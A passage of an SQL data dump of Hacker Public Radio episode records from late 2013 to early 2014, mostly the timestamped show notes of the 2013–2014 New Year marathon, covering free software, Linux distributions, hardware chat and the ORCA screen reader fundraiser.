building cool stuff yourself !</p>\r\n <p>If you want to make your own LOC controllers, LED effects or Lasers i am very interested to know. You can mail me: hobbybob at bitlair dot nl</p>',214,0,1,'CC-BY-SA','OHMRoep, HPR Live',0,1432,1),
(1406,'2013-12-23','ORCA fundraiser',2084,'Ahuka talks to Jonathan Nadeau about the campaign to improve the Orca Screen Reader','<p>In today\'s show Ahuka tracks down Jonathan Nadeau, from the Accessible Computing Foundation to discuss the running campaign to improve the Orca Screen Reader.</p>\r\n <ol>\r\n  <li>ORCA fundraiser: <a href=\"https://www.indiegogo.com/projects/orca-bringing-digital-sight-to-the-vision-impaired\">https://www.indiegogo.com/projects/orca-bringing-digital-sight-to-the-vision-impaired</a></li>\r\n  <li>Accessible Computing Foundation <a href=\"https://theacf.co/\">https://theacf.co/</a></li>\r\n  <li>Sonar <a href=\"https://sonargnulinux.com/\">https://sonargnulinux.com/</a></li>\r\n </ol>',198,79,1,'CC-BY-SA','accessibility,orca',0,1404,1),
(1407,'2013-12-24','Mars Needs Women, and Hacker Public Radio Needs Shows',1551,'The many ways you can record a show for Hacker Public Radio and get involved.','<p>Hacker Public Radio welcomes everyone to record shows and contribute them to the network. In this show we discuss the many ways you can do that. It is very easy to contribute a show and get involved, so we encourage everyone to join in.</p>',198,0,0,'CC-BY-SA','Hacker Public Radio, shows, recording',0,1379,1),
(1421,'2014-01-13','Statistics and Polling',2427,'Polling and the statistical background behind it','<p>\r\nWe are given polling results constantly in news stories, and even more so when an election is near. But how accurate are these polls? What are the limitations? And what kinds of questions should you have when looking at these surveys? I will attempt to answer these questions in this podcast.\r\n</p>',198,0,0,'CC-BY-SA','Statistics,polling,politics,surveys',0,1425,1),
(1440,'2014-02-07','Creating a Key Pair - GUI Client',966,'Using a GUI client (KGpg) to generate an RSA key pair.','<p>In the previous program we explained how to use the command line tools to generate encryption keys. This time we look at the GUI clients that some people may prefer. Using KGpg as an example, we can see that it does all the things we did last time on the command line.</p>',198,0,0,'CC-BY-SA','Security, encryption, keys, GUI',0,1564,1),
(1416,'2014-01-06','2013-2014 HPR New Year Show Part 1 2013-12-31T10:00:00Z to 2013-12-31T16:00:00Z',21595,'New Year Show 2014, part 1','<h2>2013-12-31T10:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to Christmas Island/Kiribati and Samoa Kiritimati, Apia, followed by a short reminder of the ORCA fundraiser.</li>\r\n</ul>\r\nGeneral links / references mentioned on the show for the show notes:\r\n<ul>\r\n<li><a href=\"https://cerebralrift.org/\">https://cerebralrift.org/</a></li>\r\n<li><a href=\"https://www.instructables.com/id/10-Smartphone-to-digital-microscope-conversion/\">https://www.instructables.com/id/10-Smartphone-to-digital-microscope-conversion/</a></li>\r\n</ul>\r\n<h2>2013-12-31T10:15:00Z</h2>\r\n<ul>\r\n<li>Greetings to Chatham Islands/New Zealand Chatham Islands, followed by a short reminder of the ORCA fundraiser.</li>\r\n<li><a href=\"https://archive.org/donate/index.php\">https://archive.org/donate/index.php</a></li>\r\n<li>George mentioned <a href=\"https://cerebralrift.org\">https://cerebralrift.org</a></li>\r\n<li>10:45 Z&nbsp; Ken Fallon talks to his kids about Christmas and microscopes\r\n<ul>\r\n<li><a href=\"https://www.instructables.com/id/10-Smartphone-to-digital-microscope-conversion/\">https://www.instructables.com/id/10-Smartphone-to-digital-microscope-conversion/</a></li>\r\n</ul>\r\n</li>\r\n</ul>\r\n<h2>2013-12-31T11:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to New Zealand with exceptions and 5 more&nbsp; Auckland, Suva, Wellington, Nukualofa, followed by a short reminder of the ORCA fundraiser.</li>\r\n<li>ken_fallon and SndChaser talk about ways 5150 could run external Ethernet to improve his connection.</li>\r\n<li>marcusbaird, pokey, sndchaser, ken_fallon talked about current linux distros we are using</li>\r\n<li>pokey brought up the Chromebook ad - the Pawn Stars advert</li>\r\n<li>marcusbaird and pokey discuss hunting in New Zealand</li>\r\n</ul>\r\n<h2>2013-12-31T12:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to small region of Russia, Marshall Islands and 5 more Anadyr, Funafuti, Yaren, Tarawa, followed by a short reminder of the ORCA fundraiser.&nbsp;&nbsp;</li>\r\n<li>Ken talks about the RasberryPi <a href=\"https://www.themagpi.com/\">https://www.themagpi.com/</a></li>\r\n<li>Pokey talks of how battery kept his kit charged when camping <a href=\"https://lmgtfy.com/?q=bp12-12+battery\">https://lmgtfy.com/?q=bp12-12+battery</a></li>\r\n</ul>\r\n<h2>2013-12-31T12:30:00Z</h2>\r\n<ul>\r\n<li>Greetings to Norfolk Island&nbsp; Kingston, followed by a short reminder of the ORCA fundraiser.</li>\r\n<li>Ken talks about Dutch Windmills and Polders</li>\r\n<li>Wire your homes with cable conduates&nbsp;</li>\r\n<li><a href=\"https://www.lbagroup.com/blog/lte-4g-interference-cable-tv/\">https://www.lbagroup.com/blog/lte-4g-interference-cable-tv/</a></li>\r\n<li>HPR Started: 7 years 6 months 22 days ago (2005-10-10)</li>\r\n<li>Pokey is on the start of the smug scale <a href=\"https://xkcd.com/1299/\">https://xkcd.com/1299/</a></li>\r\n</ul>\r\n<h2>2013-12-31T13:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to much of Australia and 5 more&nbsp; Melbourne, Sydney, Canberra, Honiara, followed by a short reminder of the ORCA fundraiser.</li>\r\n<li>Per pokey: Ken Fallon has a nerdgasm taking about html5</li>\r\n<li>Pokey, Jonkulp: Talk about DD-WRT and Wireless Routers <a href=\"https://www.dd-wrt.com/site/index\">https://www.dd-wrt.com/site/index</a></li>\r\n</ul>\r\n<h2>2013-12-31T13:30:00Z</h2>\r\n<ul>\r\n<li>Greetings to small region of Australia Adelaide, Broken Hill, followed by a short reminder of the ORCA fundraiser.</li>\r\n<li>SndChaser; Solar Power raspberrypi = <a href=\"https://www.instructables.com/id/Solar-Powered-Raspberry-Pi/\">https://www.instructables.com/id/Solar-Powered-Raspberry-Pi/</a></li>\r\n<li>Broam uses a <a href=\"https://www.logitech.com/en-us/product/stereo-headset-h390\">https://www.logitech.com/en-us/product/stereo-headset-h390</a></li>\r\n<li><a href=\"https://www.themagpi.com/\">https://www.themagpi.com/</a> PROJECT CURACAO Remote sensor monitoring in the Caribbean by John Shovic</li>\r\n<li>SndChaser microphone: <a href=\"https://www.amazon.com/Audio-Technica-AT2020-USB-Condenser-Microphone/dp/B001AS6OYC\">https://www.amazon.com/Audio-Technica-AT2020-USB-Condenser-Microphone/dp/B001AS6OYC</a></li>\r\n<li><a href=\"https://techcrunch.com/2011/04/08/diy-adjustabl-mic-stand-from-an-ikea-lamp/\">https://techcrunch.com/2011/04/08/diy-adjustabl-mic-stand-from-an-ikea-lamp/</a></li>\r\n<li>JonKulp recommends <a href=\"https://www.aftershokz.co.uk/product-p/as321.htm\">https://www.aftershokz.co.uk/product-p/as321.htm</a></li>\r\n<li>annunciate annunciate annunciate&nbsp;</li>\r\n<li>SteamBox is helping video drivers</li>\r\n</ul>\r\n<h2>2013-12-31T14:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to Queensland/Australia and 5 more Brisbane, Port Moresby, Guam (Hag??t??a), Cairns, followed by a short reminder of the ORCA fundraiser.</li>\r\n<li>Want to Join Google+ ? Ken_Fallon goes on a rant about Google. Pokey suggests that Google has changed their definition of \"evil\".</li>\r\n<li>Jonathon Nadeau joined us.</li>\r\n<li>SndChaser brought up YaCy as a way to get out of Google: <a href=\"https://www.yacy.net/en/\">https://www.yacy.net/en/</a></li>\r\n<li>DuckDuckGo discussed and wether it personalizes searches</li>\r\n<li>SndChaser wants an encrypted network file system. William suggested <a href=\"https://freenetproject.org/\">https://freenetproject.org/</a></li>\r\n</ul>\r\n<h2>2013-12-31T14:30:00Z</h2>\r\n<ul>\r\n<li>Greetings to Northern Territory/Australia&nbsp; Darwin, Alice Springs, Uluru, followed by a short reminder of the ORCA fundraiser.</li>\r\n<li>Broam treats us to a Statistic study / pokey added a bit more to this in terms of the NSA tracking</li>\r\n<li>Pokey\'s contribution to the kiwi discussion: <a href=\"https://lmgtfy.com/?q=kiwi\">https://lmgtfy.com/?q=kiwi</a></li>\r\n<li>From marcuspbaird - Kea bird: <a href=\"https://www.doc.govt.nz/conservation/native-animals/birds/birds-a-z/kea/\">https://www.doc.govt.nz/conservation/native-animals/birds/birds-a-z/kea/</a></li>\r\n<li>FlyingRich talks about his 2.5 crashes as a pilot</li>\r\n<li>Pokeys local airport: <a href=\"https://www.openstreetmap.org/#map=15/43.2829/-70.9323\">https://www.openstreetmap.org/#map=15/43.2829/-70.9323</a></li>\r\n</ul>\r\n<h2>2013-12-31T15:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to Japan and 6 more&nbsp; Tokyo, Seoul, Pyongyang, Dili, followed by a short reminder of the ORCA fundraiser.</li>\r\n<li>Con\'t plane talk...</li>\r\n<li>Ken want\'s to talk about <a href=\"https://openwireless.org/\">https://openwireless.org/</a></li>\r\n<li>FlyingRich\'s plane: <a href=\"https://www.airport-data.com/images/aircraft/small/000/209/209064.jpg\">https://www.airport-data.com/images/aircraft/small/000/209/209064.jpg</a></li>\r\n</ul>\r\n<h2>2013-12-31T15:15:00Z</h2>\r\n<ul>\r\n<li>Greetings to Western Australia/Australia Eucla, followed by a short reminder of the ORCA fundraiser.</li>\r\n<li>SndChaser asked FlyingRich about FAA lifting the ban on devices on planes</li>\r\n<li>Pokey asked about the concerns regarding interference on devices at altitude</li>\r\n<li>William asked if standard ECC is good enough for this application</li>\r\n<li>Somehow transitioned throught lighting to plants.</li>\r\n<li>Popey joins us!</li>\r\n<li>Hash LUGRadio gets a shout out</li>\r\n<li>SoundChaser adds a bullet point &lt;- HAHAHAHAHAHAH</li>\r\n<li>Talk with popey about the codec repositories</li>\r\n<li>Commercials are just terrible - not for the tech market that we are in</li>\r\n</ul>',159,121,1,'CC-BY-SA','New Year,2014',0,1554,1),
(1417,'2014-01-07','2013-2014 HPR New Year Show Part 2 2013-12-31T16:00:00Z to 2013-12-31T21:00:00Z',19158,'New Year Show 2014, part 2','<h2>2013-12-31T16:00:00Z</h2>\n <ul>\n  <li>Greetings to China and 12 more Beijing, Hong Kong, Manila, Singapore, followed by a short reminder of the ORCA fundraiser.</li>\n  <li>Dave from The Bugcast podcast joins us.</li>\n  <li>Conversation about being able to identify different generations of devices. Comparison to cars.</li>\n  <li>Talks about batteries and the MrX HPR Episode regarding batteries (top 10 HPR ep.)</li>\n  <li>The eCig / Recharger SndChaser mentioned: <a href=\"https://www.innokin.com/itaste-mvp.html\">https://www.innokin.com/itaste-mvp.html</a></li>\n  <li>Ken discovers the un-mute button</li>\n  <li>Windows &amp; Windows keys suck. Don\'t use it.</li>\n  <li>Mac vs Windows (We knew it had to come up eventually)</li>\n  <li>William says SndChaser sounds like RMS</li>\n  <li>Free Software licenses &amp; compatible / non-compatible licenses: <a href=\"https://www.gnu.org/licenses/license-list.html\">https://www.gnu.org/licenses/license-list.html</a></li>\n  <li>How to understand the Creative Commons license</li>\n  <li>Usage Rights are available in Google Advanced Search Options: <a href=\"https://encrypted.google.com/advanced_search?hl=en&fg=1\">https://encrypted.google.com/advanced_search?hl=en&amp;fg=1</a></li>\n  <li>pokey Godwins the license enforcement conversation</li>\n </ul>\n <h2>2013-12-31T17:00:00Z</h2>\n <ul>\n  <li>Greetings to much of Indonesia, Thailand and 7 more Jakarta, Bangkok, Hanoi, Phnom Penh, followed by a short reminder of the ORCA fundraiser.</li>\n  <li>pokey spends 24 hours updating a Windoze computer. Popey updates a Linux netbook while we say \"Happy New Year\" to Hanoi</li>\n  <li>Running a LiveCD of Linux on a Chromebook</li>\n  <li>Write disable-able USB stick:</li>\n  <li><a href=\"https://www.amazon.com/Kanguru-Solutions-ALK-8G-8GB-Flashblu/dp/B00190IX40/ref=sr_1_2?ie=UTF8&qid=1388509892&sr=8-2&keywords=kanguru+flashblu\">https://www.amazon.com/Kanguru-Solutions-ALK-8G-8GB-Flashblu/dp/B00190IX40/ref=sr_1_2?ie=UTF8&amp;qid=1388509892&amp;sr=8-2&amp;keywords=kanguru+flashblu</a></li>\n  <li>Talk about having an image that cannot be re-written for remote re-imaging of systems.</li>\n  <li>Q: Why do we have redundant recordings? A: For redundancy. (So if anyone that drops we have multiple copies to reconstruct from)</li>\n  <li>Ubuntu on tablets and phones</li>\n  <li>XBeamMC: <a href=\"https://xbeammc.com\">https://xbeammc.com</a></li>\n  <li>Talking about how to coordinate conversation on the chat</li>\n  <li>We all agree people with British (is that the right word) accents need to talk slowly to Americans</li>\n  <li>thFilemanagers - 2 &amp; More paned</li>\n </ul>\n <h2>2013-12-31T17:30:00Z</h2>\n <ul>\n  <li>Greetings to Myanmar and Cocos Islands Yangon, Naypyidaw, Mandalay, Bantam, followed by a short reminder of the ORCA fundraiser.</li>\n  <li>OwnCloud 6</li>\n  <li>Running ORCA on RaspberryPI?</li>\n  <li>Blather project by Jezra Lichter for speech input</li>\n  <li>Speakup: control over output</li>\n  <li>emacs-speak</li>\n </ul>\n <h2>2013-12-31T18:00:00Z</h2>\n <ul>\n  <li>Greetings to Bangladesh, some regions of Russia and 4 more Dhaka, Almaty, Bishkek, Thimphu, followed by a short reminder of the ORCA fundraiser.</li>\n </ul>\n <h2>2013-12-31T18:15:00Z</h2>\n <ul>\n  <li>Greetings to Nepal Kathmandu, Biratnagar, Pokhara, followed by a short reminder of the ORCA fundraiser.</li>\n  <li>We notice we missed 2 time zones</li>\n  <li>Lunch talk</li>\n </ul>\n <h2>2013-12-31T18:30:00Z</h2>\n <ul>\n  <li>Greetings to India and Sri Lanka New Delhi, Mumbai, Kolkata, and Bangalore, followed by a short reminder of the ORCA fundraiser.</li>\n  <li>Ahuka switched from Mint to Ubuntu - he likes Unity. And discussion ensues.</li>\n  <li>pokey consistantly fails to use the etherpad doc correctly. (lol)</li>\n  <li>Dann doesn\'t use Linux</li>\n </ul>\n <h2>2013-12-31T19:00:00Z</h2>\n <ul>\n  <li>Greetings to Pakistan and 8 more Tashkent, Islamabad, Lahore, and Karachi, followed by a short reminder of the ORCA fundraiser.</li>\n  <li>Dann talks about File Descriptors and File Handles</li>\n </ul>\n <h2>2013-12-31T19:30:00Z</h2>\n <ul>\n  <li>Greetings to Afghanistan Kabul, Kandahar, Mazari Sharif, and Herat, followed by a short reminder of the ORCA fundraiser.</li>\n  <li>Dann and Broam get this Handle/Descriptor thing sorted out (sort of)</li>\n  <li>Jonathan Nadeau joins to discuss Orca and his fundraiser</li>\n  <li>The MARY Text-to-Speech System <a href=\"https://mary.dfki.de/\">https://mary.dfki.de/</a></li>\n  <li><a href=\"https://eviacam.sourceforge.net/\">https://eviacam.sourceforge.net/</a> - for Ken to pass to Jonathan - thanks FXB</li>\n  <li><strong>Manjaro</strong> Linux is a new linux distribution which is based on arch linux. <a href=\"https://manjaro.org/\">https://manjaro.org/</a></li>\n  <li>Hacker Public Radio finally gets to hear the drum that Ken marches to <a href=\"https://www.gnu.org/music/free-software-song.html\">https://www.gnu.org/music/free-software-song.html</a></li>\n </ul>\n <h2>2013-12-31T20:00:00Z</h2>\n <ul>\n  <li>Greetings to much of Russia and 8 more Moscow, Dubai, Abu Dhabi, and Muscat, followed by a short reminder of the ORCA fundraiser.</li>\n  <li>We want to get rid of daylight savings time</li>\n  <li>Ken: We need to get a calendar that works in linux.</li>\n </ul>\n <h2>2013-12-31T20:30:00Z</h2>\n <ul>\n  <li>Greetings to Iran Tehran, Rasht, Esfah??n, and Bandar-Abbas, followed by a short reminder of the ORCA fundraiser.</li>\n  <li>NELF 2014 discussed by Jonathan Nadeau</li>\n </ul>\n <h2>2013-12-31T21:00:00Z</h2>\n <hr />\n <h3>HPR COMMUNITY NEWS DECEMBER 2013</h3>\n <blockquote>A monthly look at what has been going on in the HPR community. This is on the Saturday before the first Monday of the month.</blockquote>\n <h2>New hosts</h2>\n <p>Welcome to our new hosts: <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\">Honkeymagoo</a>, and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\">Thaj Sara</a>.</p>\n <h2>Show Updates</h2>\n <table>\n  <thead>\n   <tr>\n    <th>id</th>\n    <th>date</th>\n    <th>title</th>\n    <th>host</th>\n   </tr>\n  </thead>\n  <tbody>\n   <tr>\n    <td>1391</td>\n    <td>2013-12-02</td>\n    <td>Google Play Music All Access</td>\n    <td>Ahuka</td>\n   </tr>\n   <tr>\n    <td>1392</td>\n    <td>2013-12-03</td>\n    <td>Beginner\'s guide to the night sky</td>\n    <td>Andrew Conway</td>\n   </tr>\n   <tr>\n    <td>1393</td>\n    <td>2013-12-04</td>\n    <td>Audio Metadata in Ogg, MP3, and others</td>\n    <td>Epicanis</td>\n   </tr>\n   <tr>\n    <td>1394</td>\n    <td>2013-12-05</td>\n    <td>Setting Up Your Own Blog</td>\n    <td>Keith Murray</td>\n   </tr>\n   <tr>\n    <td>1395</td>\n    <td>2013-12-06</td>\n    <td>17 - LibreOffice Writer Overview of Page Layout Options</td>\n    <td>Ahuka</td>\n   </tr>\n   <tr>\n    <td>1396</td>\n    <td>2013-12-09</td>\n    <td>First Thoughts of the Google Chromecast</td>\n    <td>Curtis Adkins (CPrompt^)</td>\n   </tr>\n   <tr>\n    <td>1397</td>\n    <td>2013-12-10</td>\n    <td>HPR Community News for November 2013</td>\n    <td>Various Hosts</td>\n   </tr>\n   <tr>\n    <td>1398</td>\n    <td>2013-12-11</td>\n    <td>Batteries Part 1</td>\n    <td>MrX</td>\n   </tr>\n   <tr>\n    <td>1399</td>\n    <td>2013-12-12</td>\n    <td>Interview with Ben Everard https://www.linuxvoice.com</td>\n    <td>Curtis Adkins (CPrompt^)</td>\n   </tr>\n   <tr>\n    <td>1400</td>\n    <td>2013-12-13</td>\n    <td>How We Use Linux</td>\n    <td>Honkeymagoo</td>\n   </tr>\n   <tr>\n    <td>1401</td>\n    <td>2013-12-16</td>\n    <td>Huawei Mate review</td>\n    <td>Knightwise</td>\n   </tr>\n   <tr>\n    <td>1402</td>\n    <td>2013-12-17</td>\n    <td>How I Started Using Linux and Free and Open Source Software</td>\n    <td>Thaj Sara</td>\n   </tr>\n   <tr>\n    <td>1403</td>\n    <td>2013-12-18</td>\n    <td>hiro from GamingGrannar at Retrospelsmässan</td>\n    <td>Seetee</td>\n   </tr>\n   <tr>\n    <td>1404</td>\n    <td>2013-12-19</td>\n    <td>Editing pre-recorded audio in Audacity</td>\n    <td>Ken Fallon</td>\n   </tr>\n   <tr>\n    <td>1405</td>\n    <td>2013-12-20</td>\n    <td>18 - LibreOffice Writer Page Styles Introduced</td>\n    <td>Ahuka</td>\n   </tr>\n   <tr>\n    <td>1406</td>\n    <td>2013-12-23</td>\n    <td>ORCA fundraiser</td>\n    <td>Ahuka</td>\n   </tr>\n   <tr>\n    <td>1407</td>\n    <td>2013-12-24</td>\n    <td>Mars Needs Women, and Hacker Public Radio Needs Shows</td>\n    <td>Ahuka</td>\n   </tr>\n   <tr>\n    <td>1408</td>\n    <td>2013-12-25</td>\n    <td>Drupal in Gothenburg with Addison Berry and others</td>\n    <td>Seetee</td>\n   </tr>\n   <tr>\n    <td>1409</td>\n    <td>2013-12-26</td>\n    <td>Xircom PE pocket ethernet adapter</td>\n    <td>Ken Fallon</td>\n   </tr>\n   <tr>\n    <td>1410</td>\n    <td>2013-12-27</td>\n    <td>Generating Keys on the Command Line</td>\n    <td>Ahuka</td>\n   </tr>\n   <tr>\n    <td>1411</td>\n    <td>2013-12-30</td>\n    <td>ohmroep live 1, 31-06-2013, pirate parties</td>\n    <td>Nido Media</td>\n   </tr>\n   <tr>\n    <td>1412</td>\n    <td>2013-12-31</td>\n    <td>ohmroep hpr live 2, 31-06-2013, advancing local communities</td>\n    <td>Nido Media</td>\n   </tr>\n  </tbody>\n </table>\n <h2>Other News</h2><pre>\nDownloads in 2013 = 1,134,478\nPer episode download = 4,364\n</pre><h2>Other News</h2>\n <ul>\n  <li>Discussion of the infrastructure for New Year\'s 24-hour show</li>\n  <li>Indiegogo campaign for Orca</li>\n  <li>Calls for more shows</li>\n  <li>Torrents</li>\n  <li>HPR new year show promo</li>\n  <li>Proposal to add show Reservations to HPR<br /> \"This means that \"Next Available Slot\" skips reserved slots. If any host wants the same day then well they should try and make arrangements with the other host. If both hosts cannot reach a resolution, then the mailing list will decide for them.\"</li>\n  <li>Brochure for HPR?</li>\n  <li>Please Please use the TXT template</li>\n  <li>New HPR website design</li>\n  <li>New Year Show/ Orca</li>\n  <li>Shared pad for show notes for the New Years show</li>\n </ul>\n <hr />\n <ul>\n  <li>Greetings to Iraq and 20 more Baghdad, Khartoum, Nairobi, and Addis Ababa, followed by a short reminder of the ORCA fundraiser.</li>\n  <li>Pokey discusses HPR banner. NYBill got a bunch of autographs from very cool people who attended OGGCamp2013. <a href=\"https://media.gunmonkeynet.net/u/nybill/m/hpr-banner/\">https://media.gunmonkeynet.net/u/nybill/m/hpr-banner/</a></li>\n  <li>ThistleWeb puts in a plug for Crivins Ep. 100 Roundtable. If you want to join in, contact the boys crivins@unseenstudio.co.uk</li>\n  <li>Broam discuses Coreboot: <a href=\"https://www.coreboot.org/Welcome_to_coreboot\">https://www.coreboot.org/Welcome_to_coreboot</a></li>\n  <li>I mis-spoke and stated that jlindasy had said that it was only the X60 for corebot. That was incorrect, jlindsay stated that Gluglug had the X60\'s: <a href=\"https://shop.gluglug.org.uk/\">https://shop.gluglug.org.uk/</a></li>\n  <li>Coreboot T60 / X60 page: <a href=\"https://www.coreboot.org/Board:lenovo/x60/Installation\">https://www.coreboot.org/Board:lenovo/x60/Installation</a></li>\n  <li>It is possible Coreboot is the solution to BadBIOS</li>\n </ul>',159,121,1,'CC-BY-SA','New Year,2014',0,1380,1),
(1418,'2014-01-08','2013-2014 HPR New Year Show Part 3 2013-12-31T22:00:00Z to 2014-01-01T04:00:00Z',20552,'New Year Show 2014, part 3','<h2>2013-12-31T22:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to Greece and 30 more&nbsp; Cairo, Ankara, Athens, and Bucharest, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li>Discussion of the new cast of TuxRadar\r\n</li>\r\n<li>Got talking about Jupiter Broadcasting\r\n</li>\r\n<li>Deep discussion on the world of Jono Bacon\r\n</li>\r\n<li>The discussion of Jono / Aq on LugRadio evolves into a debate on the nature of debate\r\n</li>\r\n<li>This conversation evolved into a question / debate about software morality, SndChaser suggested that maybe it is an ethical question instead of a moral question\r\n</li>\r\n</ul>\r\n<h2>2013-12-31T23:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to Germany and 43 more Brussels, Madrid, Paris, and Rome, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li>Our co-hosts pound on the morality topic some more...\r\n</li>\r\n<li>We should all be advocates for Free / Libre software wherever and whenever we can.\r\n</li>\r\n<li>Software applications that are Open Source which are better than their closed-source counterparts:\r\n<ul>\r\n<li>FocusWriter (offered by ThistleWeb): <a href=\"https://gottcode.org/focuswriter/\">https://gottcode.org/focuswriter/</a>\r\n</li>\r\n<li>DarkTable (pegwole): <a href=\"https://www.darktable.org\">https://www.darktable.org</a>\r\n</li>\r\n<li>LightZone (pegwole): <a href=\"https://lightzoneproject.org\">https://lightzoneproject.org</a>\r\n</li>\r\n<li>GIMP (pegwole): <a href=\"https://www.gimp.org\">https://www.gimp.org</a>\r\n</li>\r\n<li>G\'MIC (): <a href=\"https://gmic.sourceforge.net/gimp.shtml\">https://gmic.sourceforge.net/gimp.shtml</a>\r\n</li>\r\n<li>Sound Converter (ThistleWeb):\r\n</li>\r\n<li>Simple Screen Recorder (FXB): <a href=\"https://www.maartenbaert.be/simplescreenrecorder/\">https://www.maartenbaert.be/simplescreenrecorder/</a>\r\n</li>\r\n<li>Maelstrom (sebsebseb): <a href=\"https://maelstrom.sourceforge.net\">https://maelstrom.sourceforge.net</a>\r\n</li>\r\n<li>TuxPaint (sebsebseb): <a href=\"https://tuxpaint.org\">https://tuxpaint.org</a>\r\n</li>\r\n<li>mtpaint (sebsebseb):&nbsp; <a href=\"https://mtpaint.sourceforge.net\">https://mtpaint.sourceforge.net</a>\r\n</li>\r\n<li>Jitsi (sebsebseb): <a href=\"https://jitsi.org\">https://jitsi.org</a>\r\n</li>\r\n<li>kid3 (pokey):\r\n</li>\r\n<li>EasyTag (pokey):\r\n</li>\r\n<li>Audacity (pokey):\r\n</li>\r\n<li>gPodder (pokey):\r\n</li>\r\n<li>PuddleTag (SndChaser):\r\n</li>\r\n<li>avidemux (ThistleWeb):\r\n</li>\r\n<li>OpenShot (Kwisher)\r\n</li>\r\n<li>EtherPad (k5tux):\r\n</li>\r\n<li>WordPress (SndChaser):\r\n</li>\r\n<li>Abiword (sebsebseb):\r\n</li>\r\n<li>gnumeric (sebsebseb):\r\n</li>\r\n<li>LibreOffice (k5tux): <a href=\"https://libreoffice.org\">https://libreoffice.org</a>\r\n</li>\r\n<li>mplayer (ken)\r\n</li>\r\n<li>ffmpeg (ken)\r\n</li>\r\n<li>emacs (SndChaser);\r\n</li>\r\n<li>vim (SndChaser):\r\n</li>\r\n<li>kdenlive (k5tux):\r\n</li>\r\n<li>Open Street Map (pokey): <a href=\"https://openstreetmap.org\">https://openstreetmap.org</a>\r\n</li>\r\n</ul>\r\n</li>\r\n<li>Which distro are you using and why?\r\n</li>\r\n<li>Ease of use vs control over the operating system.\r\n</li>\r\n<li>Dann: thinking about using desktop environments, always found that he was setting them up like Fluxbox, so just sticking to fluxbox now.\r\n</li>\r\n</ul>\r\n<h2>2014-01-01T00:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to United Kingdom and 24 more&nbsp; London, Casablanca, Dublin, and Lisbon, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li>(0002Z) Pokey: Mac OS was moderne when it was created, but now it\'s looking old and tired\r\n</li>\r\n<li>SndChaser thinks we are kind of spoiled with all the options - includnig things that don\'t exist elsewhere - like Awesome.&nbsp; But lovest the ability we have to build our desktops to fit our workflows and optimize how we work.\r\n</li>\r\n<li>(0020Z) K5Tux: Easy to learn (he\'s coming back to it...) -- \"Going to change lanes: When discussing ease of use, what about \"don\'t care to know\" folks, gamers, etc -- those who don\'t worry about privacy and software freedom, I have my own thoughts on but I\'d like to hear the consensus on the danger for those who just don\'t care.\"\r\n</li>\r\n<li>(0045Z) How did you come to Linux?\r\n</li>\r\n<li>(0048Z) Free Software\'s major achievements in 2014:\r\n<ul>\r\n<li>Watches or glasses (marcusbaird)\r\n</li>\r\n<li>SteamBox (ThistleWeb)\r\n</li>\r\n<li>ROMs for entry-level mobile phones (pokey)\r\n</li>\r\n</ul>\r\n</li>\r\n</ul>\r\n<h2>2014-01-01T01:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to Cape Verde, some regions of Greenland and 1 more&nbsp; Praia, Ponta Delgada (Azores), Ittoqqortoormiit, and Mindelo, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li>Is Windows made for the consumer or is it made just to look that way on the store shelves? (pokey)\r\n</li>\r\n<li>Thistleweb expounds upon the evils of extended warranties\r\n</li>\r\n<li>eBook discussion\r\n</li>\r\n</ul>\r\n<h2>2014-01-01T02:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to regions of Brazil, Uruguay and 1 more Rio de Janeiro, S??o Paulo, Brasilia, Montevideo, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li>Pokey mentions that he is furious that the authors guild forced the text-to-speech to be disabled on the Kindle... and names Roy Bloundt Jr.\r\n</li>\r\n<li>Electronic versions of textbooks are not reducing the number of printed books.&nbsp; Students have to buy / lease the paper books, then get the electronic version.&nbsp; And, in many cases they cannot (easily) re-selly the paper copy for even half of what they paid.&nbsp; In the case of grade school / highschool they cannot sell the books since they are just leased.\r\n</li>\r\n<li>Pokey brought up OpenText Books: <a href=\"https://creativecommons.org/tag/open-textbooks\">https://creativecommons.org/tag/open-textbooks</a>\r\n</li>\r\n<li>JonKulp - textbooks\r\n</li>\r\n<li>&nbsp;<a href=\"https://jonathankulp.org/\">https://jonathankulp.org/</a> - Creative Commons Counterpoint Textbook\r\n</li>\r\n<li>JonKulp - Blather\r\n</li>\r\n<li>SndChaser asks Jon to comment on Musopen and the status of classical music publishing / performance\r\n</li>\r\n<li>JonKulp mezmerizes the room with the contents of his cranium (this time it\'s with Blather).\r\n</li>\r\n<li>Your\'re funny!!\r\n</li>\r\n<li>LTM\r\n</li>\r\n<li>JonKulp is an accomplished composer. Some of his works can be found at <a href=\"https://jonathankulp.org/comp.html\">https://jonathankulp.org/comp.html</a>\r\n</li>\r\n</ul>\r\n<h2>2014-01-01T03:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to regions of Brazil, Argentina and 7 more Buenos Aires, Santiago, Asuncion, Paramaribo, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li>JonKulp gets introduced to mate tea\r\n</li>\r\n<li>Jonathan Nadeau (<a href=\"https://accessiblecomputingfoundation.org/)\">https://accessiblecomputingfoundation.org/)</a> talks about Orca &amp; Festival speech synthesis\r\n</li>\r\n<li>Jonathan Nadeau talks about moving to manjaro\r\n</li>\r\n<li>It is determined that Perberos, Stefano Karapetsas (stefano-k), Steve Zesch (amanas) and Clement Lefebvre (clem) are the people responsible for removing all accessibility features from MATE, the Gnome2 fork. Gnome2 used to be the most accessible desktop.\r\n</li>\r\n</ul>\r\n<h2>2014-01-01T03:30:00Z</h2>\r\n<ul>\r\n<li>Greetings to Newfoundland and Labrador/Canada&nbsp; St. John\'s, Conception Bay South, Corner Brook, Gander, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li>Jon Kulp: Open Dyslexic 